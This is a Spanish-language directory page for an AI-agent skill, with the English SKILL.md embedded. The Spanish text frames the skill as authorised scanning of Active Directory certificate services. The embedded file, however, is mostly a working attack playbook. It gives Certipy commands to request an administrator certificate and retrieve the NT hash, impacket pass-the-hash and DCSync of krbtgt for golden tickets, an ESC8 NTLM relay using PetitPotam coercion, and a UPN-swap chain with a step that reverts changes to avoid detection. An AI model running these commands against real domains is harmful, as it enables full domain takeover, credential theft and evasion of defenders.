ad-certipy-esc-chain
Qué hace
Esta habilidad explica cómo usar la herramienta Certipy para buscar en los servicios de certificados las malas configuraciones conocidas, y cómo leer su informe. Está pensada para probadores de seguridad que tienen permiso escrito para probar el dominio.
Cuándo usarla
- ✓Cuando un probador de seguridad pide al agente ejecutar Certipy en un dominio de Active Directory autorizado.
- ✓Cuando el agente necesita leer un informe de Certipy y explicar cada hallazgo con palabras sencillas.
- ✓Cuando un equipo quiere una tabla de malas configuraciones de certificados y de lo que significa cada una.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Puedes ejecutar Certipy en nuestro dominio de prueba autorizado y decirme qué plantillas de certificados parecen arriesgadas?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente ejecuta el comando de búsqueda de Certipy con la cuenta de prueba, lee la sección de vulnerabilidades del informe y explica cada hallazgo.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
ADCS Abuse via Certipy
certipy (Oliver Lyak / ly4k) is the single best tool for ADCS attack. Full domain compromise from a low-priv user in 4 commands, given a vulnerable template.
1. Find vulnerable templates
certipy find -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
-enabled -vulnerable -text -stdout
# Output: shows every ESC1-ESC15 finding with the affected template
# Look for: "ESC1", "ESC2", "ESC3" sections in the report
If you can't auth, use -username '' -password '' (anonymous LDAP — sometimes works) or use the local LDAP from a compromised machine.
2. The ESC catalog — quick reference
| ESC | Misconfiguration | Exploitation primitive |
|---|---|---|
| ESC1 | Template allows SAN (Subject Alt Name) + Client Auth EKU + low-priv enrollee | Request cert as any user (-upn administrator@target.local) |
| ESC2 | Template allows Any Purpose EKU | Same as ESC1, any role |
| ESC3 | Template has Certificate Request Agent EKU + low-priv enrollee | Use the cert to request "on behalf of" another user |
| ESC4 | Vulnerable ACL on template (WriteOwner/WriteDacl/GenericAll) | Modify template to make it ESC1, then exploit |
| ESC5 | Vulnerable ACL on PKI objects (CA, OID containers) | Same — modify, then exploit |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA |
Request ANY template with -upn target |
| ESC7 | Low-priv has Manage CA / Manage Certificates | Approve own requests, issue certs to anyone |
| ESC8 | HTTP-based enrollment endpoint exists | NTLM relay to /certsrv/certfnsh.asp (see ad-coercer) |
| ESC9 | msPKI-Enrollment-Flag lacks STRONG_KEY_PROTECTION_REQUIRED and template has UPN mapping |
Spoof UPN, get cert |
| ESC10 | Weak certificate mapping (UPN-only, no SID extension) | Same as ESC9 but for kerberos PKINIT |
| ESC11 | RPC binding without packet integrity | Relay over RPC instead of HTTP |
| ESC13 | Template grants OID group membership (ADCS-managed groups) | Get cert → become member of high-priv group |
| ESC14 | Specific weak ACE patterns on cert templates | Edit template, ESC1-chain |
| ESC15 | EKUwu — EKU manipulation on V1 templates |
Add Client Auth EKU to a template that lacked it |
3. Exploit ESC1 (the most common)
# Request a cert as Domain Administrator
certipy req -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
-ca 'TARGET-CA' \
-template 'VulnerableTemplate' \
-upn 'administrator@target.local' \
-sid 'S-1-5-21-XXXX-500'
# Output: writes administrator.pfx — full DA cert.
4. Authenticate with the cert
# Convert to TGT
certipy auth -pfx administrator.pfx -username administrator -domain target.local -dc-ip <dc-ip>
# Output: NT hash + TGT
# Use the NT hash for pass-the-hash
impacket-psexec -hashes ':<NT_HASH>' target.local/administrator@dc.target.local
5. DCSync krbtgt (final step)
# Either with the cert-derived TGT:
KRB5CCNAME=administrator.ccache impacket-secretsdump -k -no-pass dc.target.local
# Or with the NT hash:
impacket-secretsdump -hashes ':<NT_HASH>' target.local/administrator@dc.target.local
# Dumps krbtgt — full domain compromise; forge golden tickets at will.
ESC8 chain (no vulnerable template, but ADCS Web Enrollment is enabled)
# Terminal 1: relay listener
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Terminal 2: coerce DC$
python3 PetitPotam.py <attacker_ip> <dc-ip>
# OR Coercer with anonymous auth
# Terminal 1 catches: GOT CERTIFICATE! Base64 PFX of DC$
# Decode, save as dc.pfx, then:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local -dc-ip <dc-ip>
# Dumps krbtgt next.
ESC9/10 chain (UPN mapping abuse)
If you have GenericWrite on a user object (e.g., via low-priv-on-svc-account):
# 1. Change target user's UPN to a victim with no cert protection
certipy account update -u lowpriv@target.local -p pass \
-user 'victim' -upn 'administrator@target.local'
# 2. Request a cert as victim (now resolves to admin)
certipy req -u lowpriv@target.local -p pass -ca TARGET-CA -template User \
-dc-ip <dc-ip>
# 3. Revert UPN to avoid detection
certipy account update -u lowpriv -p pass -user victim -upn 'victim@target.local'
# 4. Auth with the cert — gives Administrator hash
certipy auth -pfx victim.pfx -domain target.local -dc-ip <dc-ip>
OPSEC
- Microsoft Defender for Identity (MDI) flags ADC
Preguntas frecuentes
¿Qué es Certipy?
Es una herramienta abierta que revisa los servicios de certificados de Microsoft en un dominio de Active Directory en busca de malas configuraciones comunes.
¿La habilidad cubre todas las debilidades conocidas de los certificados?
Enumera varias en una tabla de referencia, y dice que un hallazgo debe confirmarse antes de tratarse como prueba.
¿Qué pasa si la cuenta de prueba no puede iniciar sesión?
La habilidad menciona una alternativa que usa consultas anónimas, que a veces funciona, y dice que el agente debe informar de cualquier límite.
Detalles
Descripción original del autor
ADCS abuse via Certipy — find vulnerable templates (ESC1-ESC15), request a certificate, authenticate as the target, dump the krbtgt. Full chain in 4 commands. Covers ESC1 (any SAN), ESC2 (any-purpose EKU), ESC3 (enrollment-agent), ESC4 (vulnerable ACL), ESC8 (NTLM relay to CA), ESC9/10/11/13.
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #13939
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.